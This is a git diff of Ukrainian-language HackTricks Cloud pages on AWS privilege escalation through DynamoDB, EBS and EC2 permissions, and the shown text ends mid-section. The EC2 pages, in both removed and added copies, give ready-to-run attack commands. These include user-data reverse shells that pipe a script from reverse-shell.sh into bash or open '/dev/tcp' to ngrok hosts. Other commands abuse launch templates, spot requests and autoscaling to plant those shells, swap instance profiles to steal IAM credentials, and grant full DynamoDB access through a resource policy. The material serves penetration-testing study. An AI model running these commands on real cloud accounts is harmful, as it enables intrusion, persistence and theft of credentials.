+Для додаткової інформації про dynamodb див.: + +{{#ref}} +../../aws-services/aws-dynamodb-enum.md +{{#endref}} + +### `dynamodb:PutResourcePolicy`, and optionally `dynamodb:GetResourcePolicy` + +З березня 2024 року AWS пропонує *політики на рівні ресурсів* для DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)). + +Тобто, якщо у вас є `dynamodb:PutResourcePolicy` для таблиці, ви можете просто надати собі або будь-якому іншому суб'єкту повний доступ до таблиці. + +Надання `dynamodb:PutResourcePolicy` випадковому суб'єкту часто відбувається ненавмисно, якщо адміністратори думають, що надання `dynamodb:Put*` дозволить суб'єкту лише записувати елементи в базу даних — або якщо вони надали цей набір дозволів до березня 2024 року... + +Ідеально, якщо у вас також є `dynamodb:GetResourcePolicy`, щоб ви не перезаписали інші потенційно критичні дозволи, а лише додали потрібні вам дозволи: +```bash +# get the current resource based policy (if it exists) and save it to a file +aws dynamodb get-resource-policy \ +--resource-arn \ +--query 'Policy' \ +--output text > policy.json +``` +Якщо ви не можете отримати поточну політику, просто використайте цю, яка надає повний доступ до таблиці вашому principal: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "FullAccessToDynamoDBTable", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::/" +}, +"Action": [ +"dynamodb:*" +], +"Resource": [ +"arn:aws:dynamodb:::table/" +] +} +] +} +``` +Якщо потрібно налаштувати, ось список усіх можливих дій DynamoDB: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). А ось список усіх дій, які можна дозволити через resource based policy *AND which of these can be used cross-account (think data exfiltration!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html) + +Тепер, коли документ політики `policy.json` готовий, додайте resource policy: +```bash +# put the new policy using the prepared policy file +# dynamodb does weirdly not allow a direct file upload +aws dynamodb put-resource-policy \ +--resource-arn \ +--policy "$(cat policy.json)" +``` +Тепер у вас мають бути потрібні дозволи. + +### Post Exploitation + +Наскільки мені відомо, **немає іншого прямого способу to escalate privileges in AWS лише маючи певні AWS `dynamodb` дозволи**. Ви можете **читати чутливу** інформацію з таблиць (які можуть містити AWS credentials) та **записувати інформацію в таблиці** (що може спровокувати інші вразливості, наприклад lambda code injections...), але всі ці варіанти вже розглянуті на **DynamoDB Post Exploitation page**: + +{{#ref}} +../../aws-post-exploitation/aws-dynamodb-post-exploitation/README.md +{{#endref}} + +### TODO: Прочитати дані, зловживаючи data Streams + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md deleted file mode 100644 index 0d19b6ef8..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ /dev/null @@ -1,27 +0,0 @@ -# AWS - EBS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EBS - -### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` - -Атакуючий з цими правами зможе потенційно **завантажити та проаналізувати знімки томів локально** та шукати чутливу інформацію в них (таку як секрети або вихідний код). Дізнайтеся, як це зробити в: - -{{#ref}} -../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md -{{#endref}} - -Інші дозволи також можуть бути корисними, такі як: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` - -Інструмент [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) виконує цю атаку, щоб **витягти паролі з контролера домену**. - -**Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації в знімку (ви навіть можете отримати паролі Active Directory). - -### **`ec2:CreateSnapshot`** - -Будь-який користувач AWS, що має дозвіл **`EC2:CreateSnapshot`**, може вкрасти хеші всіх користувачів домену, створивши **знімок контролера домену**, підключивши його до екземпляра, який вони контролюють, та **експортувавши NTDS.dit та SYSTEM** файл реєстру для використання з проектом secretsdump від Impacket. - -Ви можете використовувати цей інструмент для автоматизації атаки: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) або ви можете використовувати одну з попередніх технік після створення знімка. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md new file mode 100644 index 000000000..5bbd952e1 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md @@ -0,0 +1,27 @@ +# AWS - EBS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EBS + +### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` + +Атакуючий з такими дозволами може потенційно **завантажити та локально проаналізувати знімки томів** і шукати в них чутливу інформацію (наприклад secrets або вихідний код). Дізнатися, як це зробити, можна в: + +{{#ref}} +../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +{{#endref}} + +Інші дозволи також можуть бути корисні, такі як: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` + +Інструмент [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) виконує цю атаку для **витягнення паролів з контролера домену**. + +**Potential Impact:** Indirect privesc шляхом знаходження чутливої інформації у знімку (ви навіть можете отримати паролі Active Directory). + +### **`ec2:CreateSnapshot`** + +Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project. + +You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md deleted file mode 100644 index 897a79282..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ /dev/null @@ -1,261 +0,0 @@ -# AWS - EC2 Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EC2 - -Для отримання більшої **інформації про EC2** перевірте: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -### `iam:PassRole`, `ec2:RunInstances` - -Зловмисник може **створити екземпляр, прикріпивши IAM роль, а потім отримати доступ до екземпляра**, щоб вкрасти облікові дані IAM ролі з кінцевої точки метаданих. - -- **Доступ через SSH** - -Запустіть новий екземпляр, використовуючи **створений** **ssh ключ** (`--key-name`), а потім підключіться до нього через ssh (якщо ви хочете створити новий, вам може знадобитися дозвіл `ec2:CreateKeyPair`). -```bash -aws ec2 run-instances --image-id --instance-type t2.micro \ ---iam-instance-profile Name= --key-name \ ---security-group-ids -``` -- **Доступ через rev shell у даних користувача** - -Ви можете запустити новий екземпляр, використовуючи **дані користувача** (`--user-data`), які надішлють вам **rev shell**. Вам не потрібно вказувати групу безпеки таким чином. -```bash -echo '#!/bin/bash -curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh - -aws ec2 run-instances --image-id --instance-type t2.micro \ ---iam-instance-profile Name= \ ---count 1 \ ---user-data "file:///tmp/rev.sh" -``` -Будьте обережні з GuradDuty, якщо ви використовуєте облікові дані IAM-ролі поза межами екземпляра: - -{{#ref}} -../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md -{{#endref}} - -**Потенційний вплив:** Пряме підвищення привілеїв до будь-якої ролі EC2, прикріпленої до існуючих профілів екземплярів. - -#### Підвищення привілеїв до ECS - -З цим набором дозволів ви також могли б **створити екземпляр EC2 і зареєструвати його в кластері ECS**. Таким чином, **сервіси** ECS будуть **запущені** в **екземплярі EC2**, до якого у вас є доступ, і тоді ви зможете проникнути в ці сервіси (контейнери docker) і **вкрасти їх ролі ECS, прикріплені**. -```bash -aws ec2 run-instances \ ---image-id ami-07fde2ae86109a2af \ ---instance-type t2.micro \ ---iam-instance-profile \ ---count 1 --key-name pwned \ ---user-data "file:///tmp/asd.sh" - -# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs) -# The EC2 instance profile needs basic ECS access -# The content of the user data is: -#!/bin/bash -echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; -``` -Щоб дізнатися, як **примусити служби ECS працювати** на цьому новому EC2 екземплярі, перегляньте: - -{{#ref}} -aws-ecs-privesc.md -{{#endref}} - -Якщо ви **не можете створити новий екземпляр**, але маєте дозвіл `ecs:RegisterContainerInstance`, ви можете зареєструвати екземпляр у кластері та виконати коментовану атаку. - -**Потенційний вплив:** Пряме підвищення привілеїв до ролей ECS, прикріплених до завдань. - -### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** - -Подібно до попереднього сценарію, зловмисник з цими дозволами може **змінити IAM роль скомпрометованого екземпляра**, щоб він міг вкрасти нові облікові дані.\ -Оскільки профіль екземпляра може мати лише 1 роль, якщо профіль екземпляра **вже має роль** (поширений випадок), вам також знадобиться **`iam:RemoveRoleFromInstanceProfile`**. -```bash -# Removing role from instance profile -aws iam remove-role-from-instance-profile --instance-profile-name --role-name - -# Add role to instance profile -aws iam add-role-to-instance-profile --instance-profile-name --role-name -``` -Якщо **профіль екземпляра має роль** і атакуючий **не може її видалити**, є інший обхідний шлях. Він може **знайти** **профіль екземпляра без ролі** або **створити новий** (`iam:CreateInstanceProfile`), **додати** **роль** до цього **профілю екземпляра** (як обговорювалося раніше) і **асоціювати профіль екземпляра** з скомпрометованим i**нстансом:** - -- Якщо екземпляр **не має жодного профілю екземпляра** (`ec2:AssociateIamInstanceProfile`) -```bash -aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id -``` -**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2 (вам потрібно зламати AWS EC2 інстанцію та мати додаткові дозволи або специфічний статус профілю інстанції). - -### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) - -З цими дозволами можливо змінити профіль інстанції, асоційований з інстанцією, тому якщо атака вже мала доступ до інстанції, вона зможе вкрасти облікові дані для більшої кількості ролей профілю інстанції, змінивши той, що з нею асоційований. - -- Якщо **є профіль інстанції**, ви можете **видалити** профіль інстанції (`ec2:DisassociateIamInstanceProfile`) і **асоціювати** його. -```bash -aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da -aws ec2 disassociate-iam-instance-profile --association-id -aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id -``` -- або **замінити** **профіль екземпляра** скомпрометованого екземпляра (`ec2:ReplaceIamInstanceProfileAssociation`). -```bash -aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id -``` -**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2 (вам потрібно скомпрометувати AWS EC2 інстанс та мати додаткові дозволи або специфічний статус профілю інстансу). - -### `ec2:RequestSpotInstances`,`iam:PassRole` - -Зловмисник з дозволами **`ec2:RequestSpotInstances`та`iam:PassRole`** може **запросити** **Spot Instance** з **прикріпленою роллю EC2** та **rev shell** в **даних користувача**.\ -Після запуску інстансу він може **викрасти IAM роль**. -```bash -REV=$(printf '#!/bin/bash -curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash -' | base64) - -aws ec2 request-spot-instances \ ---instance-count 1 \ ---launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" -``` -### `ec2:ModifyInstanceAttribute` - -Атакуючий з **`ec2:ModifyInstanceAttribute`** може змінювати атрибути екземплярів. Серед них він може **змінити дані користувача**, що означає, що він може змусити екземпляр **виконувати довільні дані.** Це може бути використано для отримання **rev shell до EC2 екземпляра**. - -Зверніть увагу, що атрибути можна **змінювати лише під час зупинки екземпляра**, тому **дозволи** **`ec2:StopInstances`** та **`ec2:StartInstances`**. -```bash -TEXT='Content-Type: multipart/mixed; boundary="//" -MIME-Version: 1.0 - ---// -Content-Type: text/cloud-config; charset="us-ascii" -MIME-Version: 1.0 -Content-Transfer-Encoding: 7bit -Content-Disposition: attachment; filename="cloud-config.txt" - -#cloud-config -cloud_final_modules: -- [scripts-user, always] - ---// -Content-Type: text/x-shellscript; charset="us-ascii" -MIME-Version: 1.0 -Content-Transfer-Encoding: 7bit -Content-Disposition: attachment; filename="userdata.txt" - -#!/bin/bash -bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1 ---//' -TEXT_PATH="/tmp/text.b64.txt" - -printf $TEXT | base64 > "$TEXT_PATH" - -aws ec2 stop-instances --instance-ids $INSTANCE_ID - -aws ec2 modify-instance-attribute \ ---instance-id="$INSTANCE_ID" \ ---attribute userData \ ---value file://$TEXT_PATH - -aws ec2 start-instances --instance-ids $INSTANCE_ID -``` -**Потенційний вплив:** Пряме підвищення привілеїв до будь-якої EC2 IAM ролі, прикріпленої до створеного екземпляра. - -### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` - -Зловмисник з правами **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`та `ec2:ModifyLaunchTemplate`** може створити **нову версію шаблону запуску** з **реверсною оболонкою** в **даних користувача** та **будь-якою EC2 IAM роллю на ньому**, змінити версію за замовчуванням, і **будь-яка група Autoscaler**, **яка використовує** цей **шаблон запуску**, що **налаштований** на використання **останній** або **версії за замовчуванням**, буде **знову запускати екземпляри**, використовуючи цей шаблон, і виконає реверсну оболонку. -```bash -REV=$(printf '#!/bin/bash -curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash -' | base64) - -aws ec2 create-launch-template-version \ ---launch-template-name bad_template \ ---launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" - -aws ec2 modify-launch-template \ ---launch-template-name bad_template \ ---default-version 2 -``` -**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2. - -### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` - -Зловмисник з правами **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** може **створити конфігурацію запуску** з **IAM роллю** та **rev shell** всередині **даних користувача**, потім **створити групу автоскалювання** з цієї конфігурації та чекати, поки rev shell **вкраде IAM роль**. -```bash -aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ ---launch-configuration-name bad_config \ ---image-id ami-0c1bc246476a5572b \ ---instance-type t3.micro \ ---iam-instance-profile EC2-CloudWatch-Agent-Role \ ---user-data "$REV" - -aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ ---auto-scaling-group-name bad_auto \ ---min-size 1 --max-size 1 \ ---launch-configuration-name bad_config \ ---desired-capacity 1 \ ---vpc-zone-identifier "subnet-e282f9b8" -``` -**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2. - -### `!autoscaling` - -Набір дозволів **`ec2:CreateLaunchTemplate`** та **`autoscaling:CreateAutoScalingGroup`** **не є достатнім для підвищення** привілеїв до ролі IAM, оскільки для прикріплення ролі, зазначеної в Конфігурації запуску або в Шаблоні запуску, **вам потрібні дозволи `iam:PassRole` та `ec2:RunInstances`** (що є відомим підвищенням привілеїв). - -### `ec2-instance-connect:SendSSHPublicKey` - -Зловмисник з дозволом **`ec2-instance-connect:SendSSHPublicKey`** може додати ssh ключ до користувача і використовувати його для доступу (якщо у нього є ssh доступ до екземпляра) або для підвищення привілеїв. -```bash -aws ec2-instance-connect send-ssh-public-key \ ---instance-id "$INSTANCE_ID" \ ---instance-os-user "ec2-user" \ ---ssh-public-key "file://$PUBK_PATH" -``` -**Потенційний вплив:** Пряме підвищення привілеїв до IAM ролей EC2, прикріплених до запущених екземплярів. - -### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` - -Зловмисник з дозволом **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** може **додати ssh ключ до серійного з'єднання**. Якщо серійне з'єднання не активоване, зловмисник потребує дозволу **`ec2:EnableSerialConsoleAccess` для його активації**. - -Щоб підключитися до серійного порту, вам також **потрібно знати ім'я користувача та пароль користувача** всередині машини. -```bash -aws ec2 enable-serial-console-access - -aws ec2-instance-connect send-serial-console-ssh-public-key \ ---instance-id "$INSTANCE_ID" \ ---serial-port 0 \ ---region "eu-west-1" \ ---ssh-public-key "file://$PUBK_PATH" - -ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws -``` -Цей спосіб не є особливо корисним для підвищення привілеїв, оскільки вам потрібно знати ім'я користувача та пароль для його експлуатації. - -**Потенційний вплив:** (Дуже непереконливо) Пряме підвищення привілеїв до EC2 IAM ролей, прикріплених до запущених екземплярів. - -### `describe-launch-templates`,`describe-launch-template-versions` - -Оскільки шаблони запуску мають версії, зловмисник з правами **`ec2:describe-launch-templates`** та **`ec2:describe-launch-template-versions`** може використати їх для виявлення чутливої інформації, такої як облікові дані, присутні в даних користувача. Для цього наступний скрипт проходить через усі версії доступних шаблонів запуску: -```bash -for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') -do -echo "[*] Analyzing $i" -aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata -do -echo "VersionNumber: $version" -echo "$userdata" | base64 -d -echo -done | grep -iE "aws_|password|token|api" -done -``` -У наведених вище командах, хоча ми вказуємо певні шаблони (`aws_|password|token|api`), ви можете використовувати інший regex для пошуку інших типів чутливої інформації. - -Припустимо, ми знаходимо `aws_access_key_id` та `aws_secret_access_key`, ми можемо використовувати ці облікові дані для автентифікації в AWS. - -**Потенційний вплив:** Пряме підвищення привілеїв до IAM користувача(ів). - -## Посилання - -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md new file mode 100644 index 000000000..046f10858 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md @@ -0,0 +1,300 @@ +# AWS - EC2 Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EC2 + +Для більш детальної **інформації про EC2** див.: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +### `iam:PassRole`, `ec2:RunInstances` + +Зловмисник може **створити інстанс, приєднати до нього IAM роль і отримати доступ до інстансу**, щоб вкрасти облікові дані IAM ролі з ендпоінта метаданих. + +- **Доступ через SSH** + +Запустіть новий інстанс, використовуючи **створений** **ssh ключ** (`--key-name`) і потім підключіться до нього через ssh (якщо ви хочете створити новий ключ, вам може знадобитися дозвіл `ec2:CreateKeyPair`). +```bash +aws ec2 run-instances --image-id --instance-type t2.micro \ +--iam-instance-profile Name= --key-name \ +--security-group-ids +``` +- **Доступ через rev shell у user data** + +Ви можете запустити новий instance, використовуючи **user data** (`--user-data`), яка надішле вам **rev shell**. Вам не потрібно вказувати security group цим способом. +```bash +echo '#!/bin/bash +curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh + +aws ec2 run-instances --image-id --instance-type t2.micro \ +--iam-instance-profile Name= \ +--count 1 \ +--user-data "file:///tmp/rev.sh" +``` +Будьте обережні з GuradDuty якщо ви використовуєте облікові дані ролі IAM поза межами instance: + +{{#ref}} +../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +{{#endref}} + +**Можливий вплив:** Прямий privesc до будь-якої EC2 role, прикріпленої до існуючих instance profiles. + +#### Privesc до ECS + +З цим набором дозволів ви також могли б **створити EC2 instance та зареєструвати його в ECS cluster**. Таким чином, ECS **сервіси** будуть **запущені** всередині **EC2 instance**, до якого у вас є доступ, і тоді ви зможете проникнути в ці сервіси (docker containers) та **вкрасти прикріплені до них ECS roles**. +```bash +aws ec2 run-instances \ +--image-id ami-07fde2ae86109a2af \ +--instance-type t2.micro \ +--iam-instance-profile \ +--count 1 --key-name pwned \ +--user-data "file:///tmp/asd.sh" + +# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs) +# The EC2 instance profile needs basic ECS access +# The content of the user data is: +#!/bin/bash +echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; +``` +Щоб дізнатися, як **примусово запустити служби ECS** на цьому новому EC2 інстансі, перегляньте: + +{{#ref}} +../aws-ecs-privesc/README.md +{{#endref}} + +Якщо ви **не можете створити новий інстанс**, але маєте дозвіл `ecs:RegisterContainerInstance`, ви можете зареєструвати інстанс у кластері та виконати описану атаку. + +**Можливий вплив:** Пряме privesc до ролей ECS, приєднаних до tasks. + +### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** + +Як і в попередньому сценарії, атакувальник із такими дозволами може **змінити IAM роль скомпрометованого інстансу**, щоб викрасти нові облікові дані.\ +Оскільки instance profile може мати лише 1 роль, якщо instance profile **вже має роль** (звичайний випадок), вам також знадобиться **`iam:RemoveRoleFromInstanceProfile`**. +```bash +# Removing role from instance profile +aws iam remove-role-from-instance-profile --instance-profile-name --role-name + +# Add role to instance profile +aws iam add-role-to-instance-profile --instance-profile-name --role-name +``` +Якщо **instance profile has a role** і зловмисник **cannot remove it**, існує інший обхідний шлях. Він може **знайти** an **instance profile without a role** або **створити новий** (`iam:CreateInstanceProfile`), **додати** the **role** до того **instance profile** (як було описано раніше), і **асоціювати цей instance profile** з компрометованим i**nstance:** + +- Якщо instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`) +```bash +aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id +``` +**Потенційний вплив:** Пряме privesc на іншу роль EC2 (потрібно, щоб ви скомпрометували AWS EC2 instance та мали додаткові дозволи або певний статус instance profile). + +### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) + +Маючи ці дозволи, можна змінити instance profile, пов'язаний з екземпляром, тож якщо зловмисник вже має доступ до екземпляра, він зможе викрасти облікові дані для додаткових ролей instance profile, змінивши пов'язаний з ним профіль. + +- Якщо він **має instance profile**, ви можете **видалити** instance profile (`ec2:DisassociateIamInstanceProfile`) та **асоціювати** його +```bash +aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da +aws ec2 disassociate-iam-instance-profile --association-id +aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id +``` +- або **замінити** **instance profile** компрометованого інстансу (`ec2:ReplaceIamInstanceProfileAssociation`). +```bash +aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id +``` +**Потенційний вплив:** Пряме privesc до іншої EC2 role (вам потрібно скомпрометувати AWS EC2 instance та мати додатковий дозвіл або специфічний instance profile status). + +### `ec2:RequestSpotInstances`,`iam:PassRole` + +Зловмисник з дозволами **`ec2:RequestSpotInstances`and`iam:PassRole`** може **запитати** **Spot Instance** з прикріпленою **EC2 Role** та **rev shell** у **user data**.\ +Коли інстанс запуститься, він зможе **вкрасти IAM role**. +```bash +REV=$(printf '#!/bin/bash +curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash +' | base64) + +aws ec2 request-spot-instances \ +--instance-count 1 \ +--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" +``` +### `ec2:ModifyInstanceAttribute` + +Зловмисник з правом **`ec2:ModifyInstanceAttribute`** може змінювати атрибути інстансу. Зокрема, він може **змінити user data**, що дає змогу змусити інстанс **виконати довільний код.** Це може бути використано для отримання **rev shell на EC2 instance**. + +Зверніть увагу, що атрибути можна **змінювати лише коли інстанс зупинено**, тому потрібні дозволи **`ec2:StopInstances`** і **`ec2:StartInstances`**. +```bash +TEXT='Content-Type: multipart/mixed; boundary="//" +MIME-Version: 1.0 + +--// +Content-Type: text/cloud-config; charset="us-ascii" +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +Content-Disposition: attachment; filename="cloud-config.txt" + +#cloud-config +cloud_final_modules: +- [scripts-user, always] + +--// +Content-Type: text/x-shellscript; charset="us-ascii" +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +Content-Disposition: attachment; filename="userdata.txt" + +#!/bin/bash +bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1 +--//' +TEXT_PATH="/tmp/text.b64.txt" + +printf $TEXT | base64 > "$TEXT_PATH" + +aws ec2 stop-instances --instance-ids $INSTANCE_ID + +aws ec2 modify-instance-attribute \ +--instance-id="$INSTANCE_ID" \ +--attribute userData \ +--value file://$TEXT_PATH + +aws ec2 start-instances --instance-ids $INSTANCE_ID +``` +**Потенційний вплив:** Прямий privesc до будь-якої EC2 IAM Role, прикріпленої до створеного instance. + +### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` + +Зловмисник із правами **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** може створити **нову Launch Template версію** з **rev shell у** **user data** та **будь-якою EC2 IAM Role на ній**, змінити версію за замовчуванням, і **будь-яка Autoscaler group** **що використовує** цей **Launch Templat**e який **налаштований** на використання **latest** або **default version** буде **re-run the instances** using that template and will execute the rev shell. +```bash +REV=$(printf '#!/bin/bash +curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash +' | base64) + +aws ec2 create-launch-template-version \ +--launch-template-name bad_template \ +--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" + +aws ec2 modify-launch-template \ +--launch-template-name bad_template \ +--default-version 2 +``` +**Можливий вплив:** Прямий privesc до іншої EC2 role. + +### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`) + +Зловмисник з дозволами **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** може створити **Launch Configuration** з **IAM Role** і **rev shell** у **user data**, потім створити **autoscaling group** з цієї конфігурації і чекати, поки **rev shell** викраде **IAM Role**. +```bash +aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ +--launch-configuration-name bad_config \ +--image-id ami-0c1bc246476a5572b \ +--instance-type t3.micro \ +--iam-instance-profile EC2-CloudWatch-Agent-Role \ +--user-data "$REV" + +aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ +--auto-scaling-group-name bad_auto \ +--min-size 1 --max-size 1 \ +--launch-configuration-name bad_config \ +--desired-capacity 1 \ +--vpc-zone-identifier "subnet-e282f9b8" +``` +**Потенційний вплив:** Direct privesc to a different EC2 role. + +### `!autoscaling` + +Набір дозволів **`ec2:CreateLaunchTemplate`** та **`autoscaling:CreateAutoScalingGroup`** **не вистачає, щоб підвищити привілеї** до ролі IAM, тому що, щоб прикріпити роль, вказану в Launch Configuration або в Launch Template, **потрібні дозволи `iam:PassRole` та `ec2:RunInstances`** (що є відомим privesc). + +### `ec2-instance-connect:SendSSHPublicKey` + +Атакуючий з дозволом **`ec2-instance-connect:SendSSHPublicKey`** може додати ssh key користувачу і використати його для доступу (якщо має ssh доступ до інстансу) або для підвищення привілеїв. +```bash +aws ec2-instance-connect send-ssh-public-key \ +--instance-id "$INSTANCE_ID" \ +--instance-os-user "ec2-user" \ +--ssh-public-key "file://$PUBK_PATH" +``` +**Потенційний вплив:** Прямий privesc до EC2 IAM roles, прикріплених до запущених інстансів. + +### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` + +Зловмисник з дозволом **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** може **додати ssh-ключ до серійної консолі**. Якщо серійна консоль не ввімкнена, зловмиснику потрібен дозвіл **`ec2:EnableSerialConsoleAccess`**, щоб її ввімкнути. + +Щоб підключитися до серійного порту, також **потрібно знати username and password користувача** всередині машини. +```bash 